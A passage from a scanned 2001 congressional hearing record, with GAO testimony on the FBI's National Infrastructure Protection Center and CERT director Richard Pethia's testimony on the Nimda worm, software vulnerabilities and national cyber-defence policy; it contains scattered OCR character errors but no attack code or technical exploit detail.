offices that established special squads and teams and one regional task force in
its field offices to address the growing number of computer crime cases. The
NIPC supported these investigative efforts by (1) coordinating investigations
among FBI field offices, thereby bringing a national perspective to individual
cases, (2) providing technical support in the form of analyses, expert assistance
for interviews, and tools for analyzing and mitigating computer-based attacks,
and (3) providing administrative support to NIPC field agents. For example, the
NIPC produced over 250 written technical reports during 1999 and 2000,
developed analytical tools to assist in investigating and mitigating computer-
‘based attacks, and managed the procurement and installation of hardware and
software tools for NIPC field squads and teams.

While these efforts benefited investigative efforts, FBI and NIPC officials told us
that increased computer capacity and data transmission capabilities would
improve their ability to promptly analyze the extremely large amounts of data
that are associated with some cases. In addition, FBI field offices were not yet
providing the NIPC with the comprehensive information that NIPC officials say
is needed to facilitate prompt identification and resp to cyber incid
According to field office officials, some information on unusual or suspicious
computer-based activity had not been reported because it did not merit opening 2
case and was deemed to be insignificant. To address this problem, the NIPC
established new performance measures related to reporting.
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Second, the NIPC developed crisis-management capabilities to support a
multiagency response to the most serious incidents from the FBI's Washington,
D.C,, Strategic Information Operations Center. From 1998 through early 2001,
seven crisis-action teams had been activated to address potentially serious
incidents and events, such as the Melissa virus in 1999 and the days surrounding
the transition to the year 2000, and related procedures have been formalized, In
addition, the NIPC coordinated the development of an emergency law
enforcement plan to guide the response of federal, state, and local entities.

To help ensure an adequate respense to the growing number of computer erimes,
we recommended in our April report that the Attorey General, the FBI Director,
and the NIPC Director take steps to (1) ensure that the NIPC has access to
needed computer and communications resources and (2) monitor the
implementation of new performance measures to ensure that field offices fully
report information on potential computer crimes to the NIPC.

gress in Establishing
“sseformation-Sharing
Relationships Has Been Mixed

Information sharing and coordination among private-sector and government
organizations are essential for thoroughly understanding cyber threats and
quickly identifying and mitigating attacks. However, as we testified in July
2000, establishing the trusted relationships and information-sharing protocels
necessary to support such coordination can be difficult.

The NIPC’s success in this area has been mixed. For example, as discussed
earlier, the InfraGard Program, which provides the FBland the NIPC witha
means of securely sharing information with individual companies, has expanded
substantially. However, at the close of our review in February 2001, the NIPC
had established a two-way, information-sharing partnership with only one
industry ISAC—the electric power industry. The NIPC’s dealings with two other
ISACs consisted of providing information to the them without receiving any in
return, and no procedures had been developed for more interactive information
sharing. According to NIPC and ISAC officials, the relationships have improved
since our report.

Similarly, the NIPC and the FBI made only limited progress in developing a
database of the most important components of the nation’s critical
infrastructures—an effort referred to as the Key Asset Initiative. Although FBI

BCritical Protection: Chatle 10 Building a Cos henstve Strategy for
7 Skaring and C ion {GAO/T-AIMD-00-268, July 26, 2000). Testimony before
the Sub ittee on (3 it ion and Technology, G ittee on

Gevernment Reform, House of Representatives.
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.

field offices had identified over 5,000 key assets, at the time of our review, the
entities that own or control the assets generally had not been involved in
identifying them. As a result, the key assets recorded may not be the ones that
infrastructure owners consider the most important. Further, the Key Asset
Initiative was not being coordinated with other similar federal efforts at DOD and
Comrerce.

In addition, the NIPC and other government entities had not developed fully
productive information-sharing and cooperative relationships. For example,
federal agencies have not routinely reported incident information to the NIPC, at
Teast in part because guidance provided by the federal Chief Information Officers
Council, which is chaired by the Office of Management and Budget, directs
agencies to report such information to the General Services Administration’s
Federal Computer Incident Response Center. Further, NIPC and Defense
officials agreed that their information-sharing procedures needed improvement,
noting that protocols for reciprocal exchanges of information had not been
established. In addition, the expertise of the U.S. Secret Service regarding
computer crime had not been integrated into NIPC efforts. According to the
NIPC director, the relationship between the NIPC and other government entities
has improved since our review. In recent testimony, officials from the Federal
Computer Incident Response Center and the U.S. Secret Service discussed the
collaborative and cooperative relationships between their agencies and the NIPC.

The NIPC has been more successful in providing training on investigating
computer crime to govemment entities, which is an effort that it considers an
important componetit of its outreach efforts. From 1998 through 2000, the NIPC
trained about 300 individuals from federal, state, local, and international entities
other then the FBI. In addition, the NIPC has advised several foreign
governments that are establishing centers similar to the NIPC.

To improve information sharing, we recommended in our April report that the
Assistant to the President for National Security Affairs

direct federal agencies and encourage the private sector to better define the types
of information necessary and appropriate to exchange in order to combat
computer-based attacks and to develop procedures for performing such
exchanges,

initiate development of a strategy for identifying assets of national significance
that includes coordinating efforts already underway, and

reselve discrepancies in requirements regarding computer incident reporting by
federal agencies.
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We also recommended that the Attorney General task the FBI Directer to

formalize information-sharing relationships between the NIPC and other federal
entities and industry sectors and

ensure that the Key Asset Initiative is infegrated with other similar federal
activities.

In comumenting on a draft of this report, the Special Assistant to the President and
Senior Director for Legislative Affairs at the National Security Couneil said that
the administration will consider our recommendations as it reviews federal cyber
activities to determine how the critical infrastructure protection function should
be organized.

Lack of A National Plan

"~ a Severe Impediment

“ta Progress

Last week we reported that, in addition to the specific impediments previously
identified, an underlying deficiency in the implementation of the strategy
outlined in PDD 63 is the lack of a national plan that clearly delineates the roles
and responsibilities of federal and nonfederal entities and defines interim
objectives™® We first identificd the need for a detailed plan in September 1998,
when we reported that developing a governmentwide strategy that clearly defined
and coordinated the roles of new and existing federal entities was important to
ensure governmentwide cooperation and support for PDD 63,7 At that time, we
recommended that OMB and the Assistant to the President for National Security
Affairs ensure such coordination,

In January 2000, the President issued Defending America's Cyberspace: National
Plan for Information Systems Protection: Version 1.0: An Invitation to a
Dialogue as a first major element of a more comprehensive effort to protect the
nation’s information systems and critical asseis from future attacks. The plan
proposed achieving the twin goals of making the U.S. government a model of
information security and developing a public/private parmership to defend our
national infrastructures by achieving three crosscutting infrastructure protection
objectives:

minimize the possibility of significant and successful attacks,

FGAO-01-822 (September 20, 2001).
FGAQ/AIMD-98-92 (September 23, 1998).
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* identify, assess, contain, and quickly recover from an attack, and

Tl

* create and build strong foundations, i people, organizations, and laws,
for preparing, preventing, detecting and responding to attacks.

However, this plan focused largely on federal CIP efforts, saying little about the
private-sector role. Subsequently, in July 2000, we reiterated the importance of
defining and clarifying organizational roles and responsibilities, noting that
numerous federal entities were collecting, analyzing, and disseminating data or
guidance on computer security vulnerabilitics and incidents and that clarification
would help ensure a common understanding of (1) how the activities of these
many organizations interrelate, {2) who should be held accountable for their
success or failure, and (3) whether such activities will effectively and efficiently
support national goals.*

A more complete plan is needed because, although some progress has been made
in implementing PDD 63, questions have surfaced regarding specific roles and
responsibilities and the time frames within which objectives are to be met. For
example, the PCIE/ECIE reported that several agencies had decided not to
implement PDD 63 requirements because they believed that they were exempt
from the directive. As a result, these agencies had not prepared CIP plans,
identified critical assets, performed related vulnerability assessments, or
developed remediation plans. However, according to the Critical Infrastructure
Assurance Office, PDD 63 requirements apply to all departments and agencies.
Also, as I previously discussed, we found that various officials invelved in
critical infrastructure protection did not consistently interpret the NIPC’s role.

In addition, without clearly defined interim objectives and milestones, the
success of efforts to improve federal and nonfederal critical infrastructure
protection cannot be measured. The PCIE/ECIE report noted that, as of March
2001, agencies still needed guidance for measuring their progress in identifying
critical assets, performing vulnerability assessments, and developing and
implementing remedial plans.

A May 2001 White House press statement announced that the administration was
reviewing how it was organized to deal with information security issues and that
recommendations would be made on how to structure an integrated approach to
cyber security and critical infrastructure protection. Specifically, the
announcement stated that the White House, federal agencies, and private industry
bad begun to collaboratively prepare a new version of a “national plan for
cyberspace security and critical infrastructure protection” and reviewing how the
government is organized to deal with information security issues.

3G AQ/T-AIMD-00-268 (July 26, 2000).
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However, as of early September, a more complete strategy had not been
announced. Accordingly, in our report on combating terrorism, issued last week,
we made several Tecor dations to supplement those we had made in the past,
including those regarding the NIPC. Specifically, we recommended that the
Assistant to the President for National Security Affairs ensure that the federal
government’s strategy to address computer-based threats, define

specific roles and responsibilities of organizations involved in critical
infrasiructure protection and related information security activities,

interim ohjectives and milestones for achieving critical infrastructure protection
goals and a specific action plan for achieving these objectives, including
implementation of vulnerability assessments and related remedial plans, and

performance measures for which entities can be held accountable.

Last week, in response to the September 11 terrorist attacks, the President
announced the ereation of the Office of Homeland Security to coordinate and
strengthen counterterrorism efforts. As yet, it is not clear precisely how efforts to
protect against computer-based attacks will be incorporated into this new office’s
activities. Protecting against computer-based attacks requires vigilance against a
broad array of threats that include not only terrorists, but nation states, criminals,
and others. Therefore, it is likely that a separate strategy will be needed to ensure
that critical computer systems are also protected from other malicious acts and
damaging events, such as fraud, espionage, and disruptions stemming from
natural disasters, However, it will be essential {o link the government’s strategy
for combating computer-based attacks to the national strategy for combating
terrorism.

Y

In conclusion, efforts are underway to mitigate the risks of computer-based
attacks on federal information systems and on our national computer-dependent
infrastructures. However, recent reports and events indicate that these efforts are
not keeping pace with the growing threats and that critical operations and assets
continue to be highly vulnerable to computer-based attacks. The evaluation and
reporting requirements of the new Government Information Security Reform
provisions should help provide a more complete and accurate picture of federal
security weaknesses and & means of measuring progress, In addition, itis
important that the government ensure that our nation has the capability to deal
with the growing threat of computer-based attacks in order to mitigate the risk of
serious disruptions and damage to our eritical infrastructures. However,
developing the needed capabilities will require overcoming many challenges.
Meeting these challenges will not be easy and will require clear central direction
and dedicated expertise and resources from multiple federal agencies, as well as
support from the private sector.
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Mr. Chairman, this concludes my statement, I would be pleased to answer any
questions that you or other members of the Committee may have at this time. If
you should have any questions later about this testimony, please contact me at
{202) 512-6253. [ can also be reached by e-mail at willemssenj@gao.gov.
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Mr. HORN. And we will now move to Mr. Richard Pethia, the di-
rector of the CERT Centers, Software Engineering Institute at Car-
negie Mellon University.

STATEMENT OF RICHARD D. PETHIA, DIRECTOR, CERT CEN-
TERS, SOFTWARE ENGINEERING INSTITUTE, CARNEGIE
MELLON UNIVERSITY .

Mr. PETHIA. Mr. Chairman, thank you for the opportunity to tes-
tify on information infrastructure security and our preparedness
for attacks. My perspective comes from the work that we do at the
CERT Coordination Center where we’re chartered to deal with se-
curity emergencies on the Internet and to work with both tech-
nology producers and technology users to facilitate responses to se-
curity problems. Since 1988, we’ve handled over 63,000 separate in-
cidents and have analyzed more than 3,700 computer
vulnerabilities.

I'll use a recent attack to illustrate what I think are some of the
critical issues. On September 18, the Internet community at large
was attacked with an automated attack that has been called the
W32 Nimda worm or Nimda. This worm had the following charac-
teristics: It used multiple means to spread from computer to com-
puter, from desktop to desktop, via electronic mail; from desktop to
desktop via shared files; from Web server to desktop by a browsing
of compromised Web servers; from desktop to Web server via active
scanning for various vulnerabilities; and from desktop to Web serv-
er via scanning for back doors left behind by earlier worms Code
Red and S-Admin. It modified Web documents and certain execut-
able files on the infected machines, and it focused on infecting ma-
chines on local networks, thus clogging those networks with scan-
ning traffic and disrupting operations.

Nimda was the first worm or virus that we’ve seen that attacks
computers that act as servers as well as desktop computers. As
many reports indicated, Nimda spread like wildfire. The first re-
ports of scanning activity came at about 8:30, between 8:30 and 9
a.m. Within an hour, many organizations reported that they were
paralyzed by the scanning activity, and by mid-afternoon over
100,000 machines were infected.

The response community reacted immediately but were ham-
pered by lack of a source code and by the complexity of the worm.
Warnings were sent to the community in the morning with updates
as analysis progressed through the day. Analysts quickly obtained
the binary code and began the reverse engineering process but
needed several hours to complete it. By mid-afternoon, antivirus
vendors began making detection software available. Heavy worm
activity was reported through the remainder of the day and all of
the 19th. On the 20th the reports continued but at a much lower
rate.

We will continue to see periodic ongoing recurrences of this worm
over the next several months, gradually tapering off in impact.

What are the factors that allow attacks like this to be successful?
Vulnerable software. Today’s commercial off-the-shelf technology is
riddled with holes. In calendar year 2000 we received reports of
over 1,090 new vulnerabilities in our existing information tech-
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nology. At the current reporting rate, this year we expect over
2,000 new reports by the end of the year.

The software design practices in use do not yield software that
is resistant to attack. Software implementation practices do not re-
move programming flaws that result in vulnerabilities. And default
software configuration shipped to the customers leave security
doors open and explicit user action must be taken to close them.
Technology users are not able to keep up with the pace of vulner-
ability fixes. The sheer number of vulnerabilities is overwhelming
organizations. The upgrade process is difficult and time-consuming
and it often takes months or even years for users to patch their
systems across the broad Internet community.

Today we still receive reports of recurrences of the Melissa virus,
a virus that exploited vulnerabilities that were discovered 2 years
ago. At the same time, attack technology are growing increasingly
sophisticated and automated. Exploit scripts are quickly written by
the intruder community for newly found vulnerabilities. They are
combined with other forms of software to form very powerful auto-
mated attack tools. Compromised systems are harnessed together
to attack others, and automation allows these attacks to proceed at
lightning speed. Our reactive solutions are reaching the limits of
their effectiveness. Only the best resourced organizations can keep
up with vulnerability fixes.

With over 109 million computers, and growing, on the Internet
there are always hundreds of thousands, if not millions, of comput-
ers that are vulnerable; and automated attacks can now cause
major damage before they’re even detected. The complexity of the
attack is challenging software analysts who try to fix them, and we
will continue to see major damage within even the best response
cycle times that we can hope to achieve.

What are the answers? First and foremost, higher quality soft-
ware products. Known design techniques can dramatically reduce
the virus problem. Viruses spread because systems allow the un-
constrained execution of imported code. Yet we’ve known for dec-
ades how to build hardware and software that constrains this code
execution. Using this technique would dramatically reduce the
virus problem.

In addition, implementation errors, bugs in the software, cause
over 80 percent of the other problems that we see on the Internet.
Known software engineering techniques can reduce these bugs by
a factor of at least 10, and typically more than 100.

Also, it’s important that we begin to ship high-security configura-
tions as the default. It’s no longer realistic, given this huge user
population, to expect today’s average computer-user and system ad-
ministrator to have the technical skills needed to securely configure
their software systems. We must build and ship products that are
safe for use by today’s average administrator and user. That’s the
near-term solution.

Longer term, we will continue to see more sophisticated attacks.
Better design and implementations will solve much of what we see
today, but as we get more sophisticated attacks, we must develop
new software engineering techniques, integrated frameworks for in-
formation assurance and analysis design, and these frameworks
must lead to engineering methods and technologies that yield sys-
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tems that are resistant to attack but also able to survive those at-
tacks even if they are partially penetrated.

More research into survivable systems is needed for the future.
Increased support for information assurance degree programs is
also needed. Today there is a critical shortage of technical security
specialists. The recent government programs on the security Cen-
ters of Excellence is a step in the right direction, but it’s only a
start. More is needed to meet the growing demand in both govern-
ment and industry for these technical specialists.

And finally, awareness and training for all users. This is not just
a problem for technical specialists. It’s a problem for executives, for
middle managers, for commercial users as well as for home users.
We need to support the development of programs that allow aware-
ness and training for all of those individuals, and we also must pro-
vide programs for elementary and secondary school teachers to
allow them to begin training their students on acceptable and un-
acceptable behavior and basic security practices.

In conclusion, attacks like Nimda will occur again, and they will
have great impact unless and until substantial changes are made.
Most important now is higher-quality software that uses known de-
sign and implementation practices to reduce vulnerabilities. A
100fold improvement is needed. In the future, threats will be even
more sophisticated; and so while we deal with today’s problems, we
also must expand our research and education activities to deal with
the problems that we’ll see within the next 5 years. Thank you.

Mr. HORN. Thank you.

[The prepared statement of Mr. Pethia follows:]
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introduction

Mr. Chairman and Members of the Subcommittee:

My name is Rich Pethia. I am the director of the CERT® Centers, which include the CERT
Coordination Center (CERT/CC) and CERT Analysis Center (CERT/AC). Thank you for the
opportunity to testify on computer security issues that affect the government. Today I will discuss
the vulnerability of information technology on the Internet, including information about the
Nimda worm, and how prepared 1 believe the nation is for cyber attacks such as Nimda.

My perspective comes from the work we do at the CERT Centers, which are part of the
Survivable Systems Initiative of the Software Engineering Institute, a federally funded research
and development center operated by Carnegie Mellon University. We have 13 years of experience
with computer and network security. The CERT/CC was established in 1988, after an Internet
“worm” became the first Internet security incident to make headline news, acting as a wake-up
call for network security. In response, the CERT/CC was established at the SEL The center was
activated in just two weeks, and we have worked hard to maintain our ability to react quickly.
The CERT/CC staff has handled well over 63,000 incidents and cataloged more than 3,760
computer vulnerabilities.

The CERT Analysis Center, established just last year, addresses the threat posed by rapidly
evolving, technologically advanced forms of cyber attacks. Working with sponsors and
associates, the CERT Analysis Center collects and analyzes information assurance data fo
develop detection and mitigation strategies that provide high-leverage solutions to information
assurance problems, including countermeasures for new vulnerabilities and emerging threats. The
CERT Analysis Center builds upon the work of the CERT Coordination Center.

The CERT Centers are now recognized by both government and industry as a neutral,
authoritative source of data and expertise on information assurance. In addition to handling
reports of computer security breaches and vulnerabilities in network-related technology, we
identify preventive security practices, conduct research, and provide training to system
administrators, managers, and incident response teams. More details about our work are attached
to the end of this testimony (see Survivable Systems Initiative).

The Nimda Worm lliustrates How Prepared We Are for Attacks

The recent attacks by the Nimda, or W32/Nimda, worm demonstrate our vulnerability. The worm
modifies web documents (files ending with .htm, .html, and .asp) and certain executable files
found on the systems it infects. It then creates numerous copies of itself under various file names.
It scans the network for vulnerable computers and propagates through email, thereby causing
some sites to experience denial of service or degraded performance. Computers that have been
compromised are also at high risk for being used for attacks on other Internet sites.

One of Nimda’s behaviors is to attack computers that had been compromised by the Code Red
worm and left in a vulnerable state. It also targets home users’ computers, which are among the
most vulnerable. Because of the network traffic generated, Internet Service Providers (ISPs) for
home users suffered a negative impact from the worm. Nimda used many means to infect
computers, as shown the attached illustration, “Complexity of Nimda Infection Vectors.” For
example, the worm not only propagates though email attachments and by compromises of
vulnerable Internet Information Servers, but it also spreads through shared files on a file server
and through web pages containing JavaScript that have been altered on a compromised server.

Pethia Testimony
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The algorithm used to spread the worm concentrated for the most part on local networks, so the
primary effect of the worm occurred at the “edges” of the Internet. Operators of the backbone of
the Internet were not significantly affected; however, they did experience an increase in customer
service calls. Callers could not reach the Internet because of the local scanning and email traffic
caused by the worm, so they thought the Internet was “down.”

Nimda is the first significant worm or virus that attacks both computers that act as servers and
those that are desktop computers. A server provides services such as a web site. Code Red
exploited the Internet Information Server (IIS), which is a web server. The Melissa virus spread
by means of users’ email on desktop computers. Nimda merges the damaging features of both
Code Red and Melissa—and more.

The first public report of Nimda infections ocourred Tuesday, September 18, 2001, between 8:30
and 9:00 a.m, Within an hour, numerous organizations were telling the CERT/CC that they were
paralyzed by the worm. By the end of the day, more than 100,000 computers had been affected.

That same morning, the CERT/CC published initial information about the worm and actions to
take against it. We were also in contact with the vendors of anti-virus products and other response
organizations to further spread the word of the problem and to develop antidotes. Later that day,
we issued more complete information in a CERT advisory (CA-2001-26). The advisory wentto a
mailing list of more than 150,000 addresses and was published on our web site (www.cert.org). A
copy is atlached, along with copies of related advisories.

The worm spread so fast that system administrators, users, and vendors did not have time to
prepare. Quick response was a challenge because there was no lead time for advance analysis. In
contrast, even with Code Red, analysts had a small amount of lead time to examine an early
version of the worm before the later, more aggressive version began causing serious damage.

Analysts were also hampered by the lack of source code for Nimda. Source code is the original
form of the program, basic code that reveals how the worm works. Thus, it was not possible to
determine quickly what the worm did and what it could potentially do. Analysts quickly obtained
the binary code, but it is time consuming to decompile this code and analyze the inner workings
of the worm. Analysis through decompiling can take hours, days, or even weeks, depending on
the complexity of the program.

Current State of Internet Vulnerability

The Nimda worm clearly points out multiple factors that contribute to Internet security problems
and pose obstacles to the solutions. They include the vulnerability of technology on the Internet,
the nature of intruder activity, the difficulty of fixing vulnerable systems, and the limits of
effectiveness of reactive solutions.

Vuinerability of Technology

Last year, the CERT/CC received 1,090 vulnerability reports, more than double the number of the
previous year. In the first half of 2001, we have already received 1,151 reports and expect well
over 2,000 reports by the end of this year. These vulnerabilities are caused by software designs
that do not adequately protect Internet-connected systems and by development practices that do
not focus sufficiently on eliminating implementation flaws that result in security problems.

There is little evidence of movement toward improvement in the security of most products;
software developers do not devote enough effort to applying lessons learned about the sources of
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vulnerabilities. We continue fo see the same types of vulnerabilities in newer versions of products
that we saw in earlier versions. Technology evolves so rapidly that vendors concentrate on time to
market, often minimizing that time by placing a low priority on the security of their products.
Until customers demand products that are more secure or there are changes in the way legal and
liability issues are handled, the situation is unlikely to change.

Additional vulnerabilities come from the difficulty of securely configuring operating systems and
applications software packages. These products are often shipped to customers with security
features disabled, forcing the technology user to go through the difficult and error-prone process
of properly enabling the security features they need. While the current practices allow the user to
more quickly use the product and reduces the number of calls the product vendor’s service center
might receive when a product is released, it results in many Internet-connected systems that are
misconfigured from a security standpoint.

Intruder Activity: The Ease of Exploitation

CERT/CC experience shows that there has been a steady advance in the sophistication and
effectiveness of attack technology. Intruders quickly develop exploit scripts for vulnerabilities
discovered in products such as IIS. They then use these scripts to compromise computers and,
moreover, share these scripts so that more attackers can use them. These scripts are combined
with other forms of technology to develop programs that automatically scan the network for
vulnerable systems, attack them, compromise them, and use them to spread the attack even
further.

These new attack technologies are causing damage more quickly than those created in the past.
The Code Red worm spread around the world faster than the so-called Morris worm moved
through U.S. computers in 1988, and faster than the Melissa virus in 1999. With the Code Red
worm, there were days between first identification and widespread damage. The Nimda worm
caused serious damage within an hour of the first report of infection. ‘

In the past, intruders found valnerable computers by scanning each computer individually, in
effect limiting the number of computers that could be compromised in a short period of time.
Now intruders use worm technology to achieve exponential growth in the number of computers
scanned and compromised. They can now reach tens of thousands of computers in minutes where
it once took weeks or months.

This fast exploitation limits the time security experts like those at the CERT/CC have to analyze
the problem and wam the Internet community. Likewise, system administrators and users have
little time to protect their systems.

Exacerbating the problem is the difficulty of catching the attackers. Today’s Internet protocols
make it easy for intruders to disguise their identity and location. Automated attack technology
further distances the attacker from the attack. In the great majority of attacks, attackers go
unidentified and fear of prosecution offers little deterrent.

Difficulty of Fixing Vulnerable Systems

With an estimated 2,000 (and climbing) vulnerabilities being discovered each year, system and
network administrators are in a difficult situation, They are challenged with keeping up with all
the systems they have and all the patches released for those systems. Patches can be difficult to
apply and might even have unexpected side effects. We have found that, after a vendor releases a
security patch, it takes a long time for system administrators to fix all the vulnerable computer
systems. It can be months or years before the patches are implemented on 90-95 percent of the
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vulnerable computers. For example, we still receive reports of outbreaks of the Melissa virus,
which exploits vulnerabilities that are more than two years old.

There are a variety of reasons for the delay. The job might be too time-consuming, too complex,
or just given too low a priority for the system administration staff to handle. With increased
complexity comes the introduction of more vulnerabilities, so solutions do not solve problems for
the long term—system maintenance is never-ending. Because many managers do not fully
understand the risks, they neither give security a high enough priority nor assign adequate
resources. Exacerbating the problem is the fact that the demand for skilled system administrators
far exceeds the supply.

Even in an ideal situation, conscientious system administrators cannot adequately protect their
computer systems because other system administrators and users, including home users, do not
adequately protect their systems. Incident reports to the CERT/CC indicate that many people do
not keep their anti-virus software up to date; and they do not apply patches to close
vulnerabilities. Computers on the Internet are extremely interdependent. The security of each
system on the Internet affects the security of every other system.

Limits of Effectiveness of Reactive Solutions

For the past 13 years, we have relied heavily on the ability of the Internet community as a whole

to react quickly enough to security attacks to ensure that damage is minimized and attacks are

quickly defeated. Today, however, it is clear that we are reaching the limits of effectiveness of

our reactive solutions. While individual response organizations are all working hard to streamline

and automate their procedures and are working together to better coordinate activities, a number

of factors have combined to limit the effectiveness of reactive solutions.

»  The number of vulnerabilities in commercial off-the-shelf software is now at the level

that it is virtually impossible for any but the best resourced organizations to keep up with
the vulnerability fixes.

«  The Internet now connects over 109,000,000 computers and continues to grow at a rapid
pace. At any point in time, there are hundreds of thousands of connected computers that
are vulnerable to one form of attack or another.

»  Attack technology has now advanced to the point where it is easy for attackers to take
advantage of these vulnerable machines and harness them together to launch high-
powered attacks.

»  Many attacks are now fully automated and spread at nearly the speed of light across the
entire Internet community.

s The aftack technology has become increasingly complex and in some cases intentionally
stealthy, thus increasing the time it takes to discover and analyze the attack mechanisms
in order to produce antidotes.

« Internet users have become increasingly dependent on the Internet and now use it for
many critical applications as well as online business transactions; even relatively short
interruptions in service cause significant economic loss and can jeopardize critical
services.

These factors, taken together, indicate that we are now at the point where we can expect many
attacks to cause significant economic losses and service disruptions within even the best response
times that we can realistically hope to achieve. Aggressive, coordinated response will continue to
be necessary, but we must also move quickly to put other solutions in place.
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Recommended Actions

Working our way out of the vulnerable position we are in requires a multi-pronged approach that
helps us deal with the escalating near-term problem while at the same time building stronger
foundations for the future. The work that must be done includes achieving these changes:
« Higher quality information technology products with security mechanisms that are better
matched to the knowledge, skills, and abilities of today’s system managers,
administrators, and users

¢ Expanded rescarch programs that lead to fundamental advances in computer security

& A larger number of technical specialists who have the skills needed to secure large,
complex systems

* Increased and ongoing awareness and understanding of cyber-security issues,
vulnerabilities, and threats by all stakeholders in cyber space

Higher quality products: In today’s Internet environment, a security approach based on “user
beware” is unacceptable. The systems are too complex and the attacks too rapid for this approach
to work. Fortunately, good software engineering practices can dramatically improve our ability to
withstand attacks. The solutions required are a combination of the following:

*  Virus-resistant/virus-proof software — There is nothing intrinsic about digital computers
or software that makes them vulnerable to virus attack or infestation. Viruses propagate
and infect systems because of design choices that have been made by computer and
software designers. Designs that allow the import of executable code, in one form or
another, and allow the unconstrained execution of that code on the machine that received
it, are the designs that are susceptible to viruses and their effects. Unconstrained
execution allows code developers to easily take full advantage of a system’s capabilities,
but does so with the side effect of making the system vulnerable to virus attack. To
effectively control viruses in the long term, vendors must provide systems and software
that constrain the execution of imported code, especially code that comes from unknown
or not-trusted sources. Some techniques to do this have been known for decades. Others,
such as “sandbox” techniques, have been more recently developed.

o Reducing implementation errors by at least two orders of magnitude — Most
vulnerabilities in products come from software implementation errors. They remain in
products, waiting to be discovered, and are fixed only after they are found while in use.
Worse, the same flaws continue to be introduced in new products. Vendors need to be
proactive, and adopt known, effective software engineering practices that dramatically
reduce the number of flaws in software products.

s High-security default configurations — With the complexity of today’s products, properly
configuring systems and networks to use the strongest security built into the products is
difficult, even for people with strong technical skills and training. Small mistakes can
leave systems vulnerable and put users at risk when connected to the Internet. Vendors
can help reduce the impact of security problems by shipping preducts with “out of the
box” configurations that enable security options rather than require the user to enable
them. The user can change these “defanlt” configurations if desired, but would have the
benefit of starting from a secure base.

Expanded research in information assurance: It is critical to maintain a long-term view and
invest in research toward systems and operational techniques that yield networks capable of
surviving attacks while protecting sensitive data. In doing so, it is essential to seek fundamental
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technological solutions and to seek proactive, preventive approaches, not just reactive, curative
approaches.

The rescarch agenda should seek new approaches to system security. These approaches should
include design and implementation strategies, recovery tactics, sirategies {o resist attacks,
survivability trade-off analysis, and the development of security architectures, Among the
activities should be the creation of

» A unified and integrated framework for all information assurance analysis and design

¢  Rigorous methods to assess and manage the risks imposed by threats to information
assefs

« Quantitative techniques to determine cost/benefit of risk mitigation strategies

» Systematic methods and simulation tools to analyze cascade effects of attacks, accidents,
and failures across interdependent systems

s New technologies for resisting attacks and for recognizing and recovering from attacks,
accidents, and failures

More technical specialists: The recent government identification and support of cyber-security
centers of excellence and the provision of scholarships that support students working on degrees
in these universities are steps in the right direction. The current levels of support, however, are far
short of what is required to produce the technical specialists we need to secure our systems and
networks. These programs should be expanded over the next five years to build the university
infrastructure we will need for the long-term development of trained security professionals,

More awareness and training for Internet users: The combination of casy access and user-
friendly interfaces have drawn users of all ages and from all walks of life to the Internet. Asa
result, many users of the Internet have little understanding of Internet technology or the security
practices they should adopt, To encourage “safe computing,” there are steps we believe the
government could take:

* Support the development of educational material and programs about cyberspace for all
users. There is a critica! need for education and increased awareness of the security
characteristics, threats, opportunities, and appropriate behavior in cyberspace. Because
the survivability of systems is dependent on the security of systems at other sites, fixing
one’s own systems is not sufficient to ensure those systems will survive attacks. Home
users and business users alike need to be educated on how to operate their computers
most securely, and consumers need to be educated on how to select the products they
buy. Market pressure, in turn, will encourage vendors to release products that are less
valnerable to compromise.

¢ In addition, support programs that provide early training in security practices and
appropriate use. This training should be integrated into general education about
computing. Children should learn early about aceeptable and unacceptable behavior when
they begin using computers just as they are taught about acceptable and unacceptable
behavior when they begin using libraries.! Although this recommendation is aimed at
elementary and secondary schoel teachers, they themselves need to be educated by
security experts and professional organizations. Parents need be educated as well and
should reinforce lessons in security and behavior on computer networks.

Mational Research Council, Computers at Risk: Safe Computing in the Information Age, National
Academy Press, 1991, recommendation 3¢, p. 37.

Pethia Testimony
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Conclusion

Problems such as the Nimda worm will oceur again, and attack technology will evolve to suppert
attacks that are even more virulent and damaging. Our current solutions are not keeping pace with
the increased strength and speed of attacks; our information infrastructures are at risk. Solutions
are not simple, but must be pursued aggressively to allow us to keep our information
infrastructures operating at acceptable levels of risk. However, we can make significant progress
by making changes in software design and development practices, increasing the number of
trained system managers and administrators, improving the knowledge level of users, and
increasing research into secure and survivable systems. Additienal government support for
research, development, and education in computer and network security would have a positive
effect on the overall security of the Internet.

Pethia Testimony
September 26, 2001 7
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{arpegic Helbm

Software Engineering Institute

Software Engineering Technical Practices

Survivable Systems Initiative

Background

In 1988, as a result of an attack on the
Internet, the SEI established the CERT®
Coordination Center (CERT/CC), an
emergency response team and a central
point for communication among com-
puter experts. Since then, the SEI has
heiped establish other response lcams
while matntaining leadership in analyz-
ing vulnerabilities and threats. The SEI
has extended its work to include surviv-
able enterprise management and
survivable network technology.

Goals

» Establish tools and techniques that
enable typical users and administra-
tors to effectively protect systems
from damage caused by intruders.

» Establish techniques that help soft-
ware engineers to model and predict
security attributes of systems during
development.

Benefits

The incident handling practices of the
CERT Coordination Center have been
adopted by more than 90 other incident
response teams around the world. The
time to resolve compuier security inci-
dents and repair computer system
vulnerabilities has decreased signifi-
cantly. Similarly, use of CERT security
practices has improved resistance to
attacks on networked computers and,
thus, improved protection for the infor-
mation stored on or transmitted by those
computers.

Areas of Work
Survivable Enterprise Management

CERT Security Practices

CERT security practices provide con~
crete, practical guidance that helps
organizations improve the security of
their networked computer systems.
These practices apply to many operating
systems and platforms. Implementation
details for specific operating systems
accompany many of the practices.

Operationally Critical Threat, Asset,
and Vulnerability Evaiuation™
(OCTAVE™)

OCTAVE is a self-directed risk evalua-
tion that allows an enterprise to identify
the information assets that are important
to the mission of the organization, the
threats to those assets, and vulnerabili-
ties that may expose the information
assets to the identified threats. As a
result, the enterprise can create a protec-
tion strategy that reduces the overall risk
exposure of its information assets.

Curriculum Definition and Course
Development

The Survivable Systems Initiative cur-
rently offers eight courses. Five courses
derive from the work of the CERT Coor-
dination Center, providing introductory
and advanced training for technical staff
and the management of computer secu-
rity incident response teams. The
initiative also offers three courses cen-
tered around broader Internet security
issues and security practices. Its Infor-
mation Security for Technical Staff is an
intensive five-day course for system
administrators and other technical staff
members. Other offerings are geared
toward educating policymakers, manag-
ers, and senior executives who are
responsible for the security of informa-
tion assets. Public courses are offered
periodically and can be attended by any-

3601 1
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one, with a reduced charge for
government personnel. In addition,
customer-site courses are offered to
individual organizations (a reduced
fee is charged to government
organizations).

Current course titles:

»  Managing Computer Security Inci-
dent Response Teams (CSIRTSs)

» Computer Security Incident Han-
dling for Technical Staff (Intro)

» Computer Security Incident Han-
